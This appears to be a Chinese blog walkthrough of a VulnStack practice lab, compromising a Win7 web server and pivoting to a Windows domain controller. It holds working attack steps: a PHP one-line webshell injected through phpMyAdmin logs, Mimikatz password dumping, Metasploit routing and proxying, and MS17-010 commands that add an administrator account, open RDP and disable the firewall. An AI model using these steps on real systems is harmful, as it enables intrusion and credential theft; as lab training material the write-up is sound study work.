靶场下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
01.靶场环境
攻击机:kali(192.168.232.130)
靶机:windows7(外网:192.168.232.155,内网:192.168.52.143)
Windows2008(内网:192.168.52.138)
Win2003(内网:192.168.52.141)
拓扑图如下:
02.外网拿权限
已知目标靶机ip:192.168.232.155(win7)
方法一:弱口令登录phpmyadmin拿权限
(1)信息收集
nmap -A -T4 192.168.232.0/24 简单扫描一下,发现win7的80,3306端口开启
使用御剑扫描该网址后台
发现有一个phpmyadmin后台网址,直接暴力破解
爆破成功,存在弱口令,用户名:root,密码:root
phpMyAdmin 利用日志文件 getshell
在变量中搜索general,查看日志状态,返回结果如下
当开启general log为on时,所执行的sql语句都会出现在stu1.log文件中。那么,如果修改generallogfile的值,那么所执行的sql语句就会对应生成对应的文件中,进而getshell。所以为了get shell,我们将general log设为on,将general log file设为C:/phpStudy/WWW/test.php
通过执行查询语句将一句话木马插入到重新定义的日志文件test.php中
SELECT '<?php eval($_POST["cmd"]);?>'
看一下靶机上的test.php,一句话木马是否插入成功
插入成功后我们用蚁剑连接test.php
添加数据 http:192.168.232.155/test.php
密码:cmd
成功获取目标服务器权限...
方法二:利用已知cms漏洞getshell
进入管理后台
显而易见,目标靶机使用了yxcms,通过百度可以查询到yxcms的目录结构,得到yxcms的后台路径:/index.php?r=admin/index/login访问http://192.168.232.155/yxcms//index.php?r=admin/index/login
使用yxcms默认用户名密码,admin/123456登录后台,直接登录成功,接入管理后台页面
写入webshell
在前台模板功能中我们可以直接写入一句话木马
Burpsuite抓包后,并没有发现写入文件后返回具体文件路径
不过yxcms泄露了robots.txt,通过御剑
通过泄露的文件路径,一步一步推测找出我们上传的shell_test.php一句话木马
蚁剑连接shell_test.php
写入成功...
03.靶机后门上线
拿下服务器权限后就要植入后门,植入后门的方法大致有两种——MSF和Cobalts Strike。这里演示Cobalts Strike的方式。
生成exe可执行后门
执行exe后门
利用蚁剑将exe后门上传到靶机
在蚁剑中使用终端命令行执行exe后门
Cobalts Strike中靶机上线
探测本机信息 (win7)
1.执行系统命令
2.探测域信息(net view)
3.Mimikatz抓取本机密码
成功抓取本机Administrator用户开机密码
利用cablots strike提权
提权到SYSTEM系统权限账户
04.内网信息收集
内网信息收集的主要目的就是查找域控以及域内的其他主机
判断是否存在域
使用 ipconfig /all 查看 DNS 服务器:
发现 DNS 服务器名为 god.org,查看域信息:net view
Cablot Strike自带的net view更好用,可以直接识别IP地址
查看主域信息:net view /domain
查看时间服务器:net time /domain(一般情况下,时间服务器就是域控)
发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域;若是报错:发生系统错误 5,则存在域,但该用户不是域用户,可以进行提权到SYSTEM后执行),所以基本可以确定owa.god.org就是域GOD的域控
确认域控
利用 net group "domain controllers" /domain 命令直接找出域控制器:
域控制器为owa.god.org
对应IP为192.168.52.138
05.内网横向移动
SMB Beacon
因为内网的目标机器192.168.52.138和192.168.52.141无法直接连接到KALI(192.168.232.130),所以需要CS派生smb beacon,让内网的主机连接到win7上。
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
新建一个listener
在已有的 Beacon上右键 Spawn(生成会话 / 派生),选择创建的 smb beacon 的 listerner:
cobalt strike反弹shell给msf
反弹shell
配置msf进行监听
在cobalt strike中新建listeners(注意:cobalt strike中生成的payload要和msf中监听使用的payload一致)
选择to_msf监听,成功反弹shell
配置静态路由
meterpreter > run get_local_subnets #查看网段/子网
meterpreter > run autoroute -s 192.168.52.0/24 #添加路由
meterpreter > run autoroute -p #查看路由
meterpreter > background #转入后台运行
msf进行内网扫描
1.使用msf自带netbios扫描内存活机器,发现存活机器两台,地址分别为192.168.52.141和192.168.52.138
(auxiliary(scanner/netbios/nbname) 这个使用报错,换了另一个扫描存活主机的辅助模块)
auxiliary/scanner/discovery/arp_sweep
2.对存活主机进行端口扫描
TCP端口扫描 auxiliary/scanner/portscan/xmas
msf6 > use auxiliary/scanner/portscan/xmas
msf6 > set rhosts xxx.xxx.xxx
msf6 > set ports 80,135-139,3306,3389
msf6 > run
对192.168.52.138进行端口扫描,发现445端口开启
(加载kiwi的bug)
在拿到win7的meterpreter后,使用kiwi模块,发现creds_一系列的功能不能使用,没有加载相应的东西
问题:
1:需要system权限
2:kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
需要进程迁移
问题解决(
kiwi_cmd
kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的命令
kiwi_cmd sekurlsa::logonpasswords)
内网信息收集
run post/windows/gather/enum_applications查看win7上安装了哪些软件;
arp -a查看路由表,可以看到另一个网段192.168.52.0/24,还有另外两台主机
这里我只开启了2008(138)的虚拟机
run autoroute -s 192.168.52.0/24添加录路由;
run autoroute -p查看路由;
之前添加过了,省略
设置代理,方便访问内网服务;
use auxiliary/server/socks4a
set srvhost 192.168.232.130
set srvport 1080
Run
然后修改vim /etc/proxychains4.conf的最后一行为socks4 192.168.232.130 1080
Proxychains4 curl http://192.168.52.143/试一试能否访问内网IP;(yes)
能成功访问,接下来扫一下另外两台主机开启了哪些端口,使用auxiliary/scanner/portscan/tcp模块
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.138
set threads 100
Run
其实前面扫出了win7上安装了nmap,用直接用nmap扫我觉得还比较快;
我这里用kali走代理扫描内网
报错,Google,发现解决方法,proxychains不要启用DNS代理:
将proxy_dns注释
可以看到两台主机都开了135、445端口,说明都有SMB服务;(只演示了一台)
也可以在kali上远程连接靶机,来进行nmap扫描
拿下域成员
使用auxiliary/scanner/smb/smb_version扫描系统版本,是Windows2003版本;
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.52.141
run
存在永恒之蓝漏洞
exploit/windows/smb/ms17_010_eternalblue打不了,但是可以使用
auxiliary/admin/smb/ms17_010_command模块执行命令;
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
Run
set command net user blckder02 8888! /add添加用户;
set command net localgroup administrators blckder02 /add添加管理员权限;
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'执行命令开启3389端口,这里要么用单引号把命令引住,要么用反斜杠对反斜杠和引号进行转义,否则会出错;
proxychains rdesktop 192.168.52.141远程桌面连接成功,可以用添加的用户进行登录;
使用exploit/windows/smb/ms17_010_psexec模块反弹一个shell;
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.141
run
(sessions截图在后面)
拿域控
因为192.168.52.138这台主机也同样开了135,445端口,所以同样使用auxiliary/scanner/smb/smb_version扫描系统版本,是Windows server 2008版本;
接下来和拿2003主机一样的操作,依然可以用auxiliary/admin/smb/ms17_010_command模块执行命令;
开启3389端口:set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f';
但是连接超时,可能是因为开启了防火墙,执行命令set command netsh firewall set opmode mode=disable关闭防火墙;
可以添加权限,用户等(同上域成员)
这个可以用ms17_010_eternalblue打 (但这里继续用ms17_010_psexec)
使用exploit/windows/smb/ms17_010_psexec模块反弹一个shell;
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.138
run
成功拿下域控机
思路总结
从web服务器寻找可以getshell的利用点,win7上有phpmyadmin目录,并且是默认密码可以登录;
利用日志文件写入一句话,蚁剑连接,收集有用信息;
msf反弹shell,提权,抓取密码,arp发现内网;
添加路由,设置代理,访问内网资源;
扫描开放端口,利用445端口SMB服务,ms17_010对域成员和域控主机进行攻击;
关闭防火墙,开启3389,反弹shell
标签:set,auxiliary,192.168,010,VulnStack,ms17,复现,smb From: https://www.cnblogs.com/sleep-ff/p/16723442.html